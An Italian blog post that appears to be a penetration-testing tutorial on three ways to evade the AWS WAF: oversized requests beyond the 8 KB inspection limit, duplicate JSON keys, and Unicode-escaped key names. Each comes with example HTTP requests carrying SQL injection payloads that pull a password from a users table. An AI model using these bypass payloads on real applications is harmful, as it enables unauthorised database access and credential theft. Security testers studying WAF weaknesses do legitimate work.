Ultima modifica:
Tre tecniche per bypassare il Web Application Firewall di AWS
1 Introduzione
L'AWS Web Application Firewall (WAF) è uno degli strumenti forniti da Amazon Web Services (AWS) per proteggere le applicazioni web da potenziali minacce e attacchi informatici, come SQL injection, cross-site scripting (XSS) e più genericamente da bot malevoli. Utilizzando un insieme di regole predefinite (ma anche personalizzabili), il WAF filtra il traffico HTTP e applica misure di sicurezza per prevenire accessi non autorizzati e proteggere le applicazioni dalla maggior parte delle vulnerabilità note.
Con l'utilizzo sempre maggiore di AWS come piattaforma di hosting e con la sempre crescente necessità di proteggere le proprie applicazioni e i propri siti, conoscere come configurare al meglio il proprio WAF è fondamentale, ma diventa altrettanto importante conoscere come bypassarlo in modo da aiutare i nostri clienti a mettersi in sicurezza.
Ecco di seguito, quindi, tre delle tecniche maggiormente utilizzate per bypassare i controlli di AWS ed inviare contenuti malevoli senza essere bloccati.
Con l'utilizzo sempre maggiore di AWS come piattaforma di hosting e con la sempre crescente necessità di proteggere le proprie applicazioni e i propri siti, conoscere come configurare al meglio il proprio WAF è fondamentale, ma diventa altrettanto importante conoscere come bypassarlo in modo da aiutare i nostri clienti a mettersi in sicurezza.
Ecco di seguito, quindi, tre delle tecniche maggiormente utilizzate per bypassare i controlli di AWS ed inviare contenuti malevoli senza essere bloccati.
2 AWS WAF bypass
2.1 Limite degli 8k
La prima tecnica sfrutta una particolare "feature" di design del WAF di AWS per cui le richieste HTTP vengono ispezionate solamente nei loro primi 8,192 bytes. Come comportamento di default, una richiesta di dimensione maggiore viene scansionata solamente in parte da AWS, fidandosi ciecamente di tutto ciò che viene oltre gli 8k e lasciando così passare le richieste HTTP senza alcun controllo.
Come citato sopra, questo è il comportamento di default, e non è raro trovare delle applicazioni reali, in the wild, impattate da questa problematica. Solo nell'ultimo mese mi è capitato di imbattermi tre volte in questa configurazione.
Vediamo però un esempio pratico: immaginiamo un'applicazione che ti permetta di ricercare dei libri, vulnerabile a SQL Injection, il cui web server è configurato per accettare delle richieste JSON e che è hostata su AWS.
Una richiesta legittima per cercare un libro assomiglia alla seguente:
HTTP:
POST /api/search HTTP/1.1
Host: vulnerable.com
Content-type: application/json
{"book":"PoC||GTFO"}
--------- RESPONSE ---------
HTTP/1.1 200 OK
Content-length: 123
{"summary":"foo bar"}Mentre una richiesta contenente un payload malevolo, quando bloccata dal WAF, risponderebbe come sotto:
HTTP:
POST /api/search HTTP/1.1
Host: vulnerable.com
Content-type: application/json
{"book":"' OR '1'='1' LIMIT 1;-- -"}
--------- RESPONSE ---------
HTTP/1.1 403 Forbidden
Server: awselb/2.0
<html><head><title>403 Forbidden</title></head>
<body><center><h1>403 Forbidden</h1></center></body></html>Questo avviene appunto perchè il WAF ispeziona i primi 8,192 bytes, identifica un payload malevolo e blocca quindi la richiesta primi che arrivi al server. Come detto sopra, però, di default tutto ciò che è oltre gli 8k bytes non viene controllato ma viene dato per sicuro. Per bypassare il controllo, perciò, basta aggiungere un campo filler sufficientemente grande da far sì che il nostro payload malevolo sia oltre gli 8k bytes e il gioco è fatto!
Generiamo un payload abbastanza grande:
$ python3 -c 'print("\"filler\":\""+"A"*10000+"\"")'E anteponiamo il campo appena generato al nostro payload:
HTTP:
POST /api/search HTTP/1.1
Host: vulnerable.com
Content-type: application/json
{
"filler":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...10000...AAA",
"book":"' UNION SELECT password from users LIMIT 1; -- -"
}
--------- RESPONSE ---------
HTTP/1.1 200 OK
Content-length: 123
{"summary":"Sup3r_S3cr3t_P4ssw0rd!"}Se volete vedere la tecnica dal vivo, vi lascio qua sotto un bellissimo video del buon theMiddle di Rev3rseSecurity in cui spiega questa stessa tecnica passo per passo e ne fa una dimostrazione live.
2.2 Parser differentials e chiavi duplicate nei JSON
La seconda tecnica di bypass che analizzeremo sfrutta le differenze di parsing e di elaborazione dei JSON body tra l'AWS WAF e la web application protetta. Il WAF di AWS infatti potrebbe interpretare un JSON body in maniera del tutto differente rispetto all'applicazione.
L'esempio classico sono i campi JSON duplicati: in caso di doppio campo con lo stesso nome, AWS considera il JSON non valido e non effettua alcun tipo di controllo sopra di esso! Se dall'altra parte l'applicazione "protetta" dal WAF riceve questo JSON e lo elabora, ecco che allora avviene il bypass.
Vediamo un esempio molto semplice:
JSON:
{
"book":"foo bar",
"book":"' UNION SELECT password from users LIMIT 1; -- -"
}Il JSON sopra ha due campi con lo stesso nome ma valori differenti. Per il WAF di AWS questo è un JSON non valido, per cui non viene effettuata alcuna ispezione sopra di esso e il payload malevolo (salvato nel secondo campo) non viene rilevato. Se l'applicazione che riceve questo JSON, però, supporta i campi multipli e sovrascrive ogni valore con l'ultimo estrapolato (eg. in PHP viene sempre preso l'ultima coppia chiave-valore in caso di campi multipli), ecco che diventa possibile sfruttare la SQL Injection bypassando completamente la protezione del WAF.
Vi lascio anche per questo esempio il video dimostrativo:
2.3 Unicode escape sequences
La terza e ultima tecnica che analizzeremo sfrutta una tecnica tanto facile quanto efficace: l'unicode escaping all'interno dei nomi dei campi JSON. Il WAF di AWS infatti non supporta i caratteri unicode se sono essi contenti all'interno del nome di una coppia chiave-valore. Il problema è che molte applicazione supportano questa tipologia di encoding, creando come nel caso precedente una differenza di parsing dei vari JSON.
Visto che AWS non riconosce i caratteri unicode nei JSON keys, non è in grado di ricercare e ispezionare quel determinato campo se il suo nome è stato encodato, diventando di fatto cieco. Immaginiamo che sul nostro campo "book" sia stata implementata una lista di regole molto stringenti che identificano qualsiasi tipo di payload malevolo.
HTTP:
POST /api/search HTTP/1.1
Host: vulnerable.com
Content-type: application/json
{"book":"' OR '1'='1' LIMIT 1;-- -"}
--------- RESPONSE ---------
HTTP/1.1 403 Forbidden
Server: awselb/2.0
<html><head><title>403 Forbidden</title></head>
<body><center><h1>403 Forbidden</h1></center></body></html>Possiamo bypassare completamente il controllo del campo book "nascondendo" il parametro al WAF di AWS tramite l'encoding di uno o più caratteri del JSON key. Se l'applicazione dietro WAF supporta questo encoding, il gioco è fatto!
HTTP:
POST /api/search HTTP/1.1
Host: vulnerable.com
Content-type: application/json
{
"\u0062ook":"' UNION SELECT password from users LIMIT 1; -- -"
}
--------- RESPONSE ---------
HTTP/1.1 200 OK
Content-length: 123
{"summary":"Sup3r_S3cr3t_P4ssw0rd!"}Anche per quest'ultimo caso, trovate di seguito il video riguardante la tecnica analizzata:
3 Rimedi e conclusioni
Sarebbe ipocrita pensare che per ognuno di questi bypass non esista una possibile remediation o mitigation. Sebbene queste tecniche siano complicate da gestire correttamente e da difendere, esistono diversi modi - che non affronteremo in questo post ma che potete apprendere dai link delle fonti originali - per cercare di arginare queste problematiche del WAF e fare in modo di proteggere ulteriormente le vostre applicazioni.
Vi invito dunque a leggere i blog post ufficiali e a guardare i video sul canale di Rev3rseSecurity, sia per approfondire ulteriormente questi bypass, ma soprattutto per imparare a difendere i vostri siti da questi vettori d'attacco!
Se invece foste a conoscenza di altre tipologie di bypass contro il WAF di AWS, condividetelo con la community, ne gioveremmo tutti ♥
Made with ❤ for Inforge
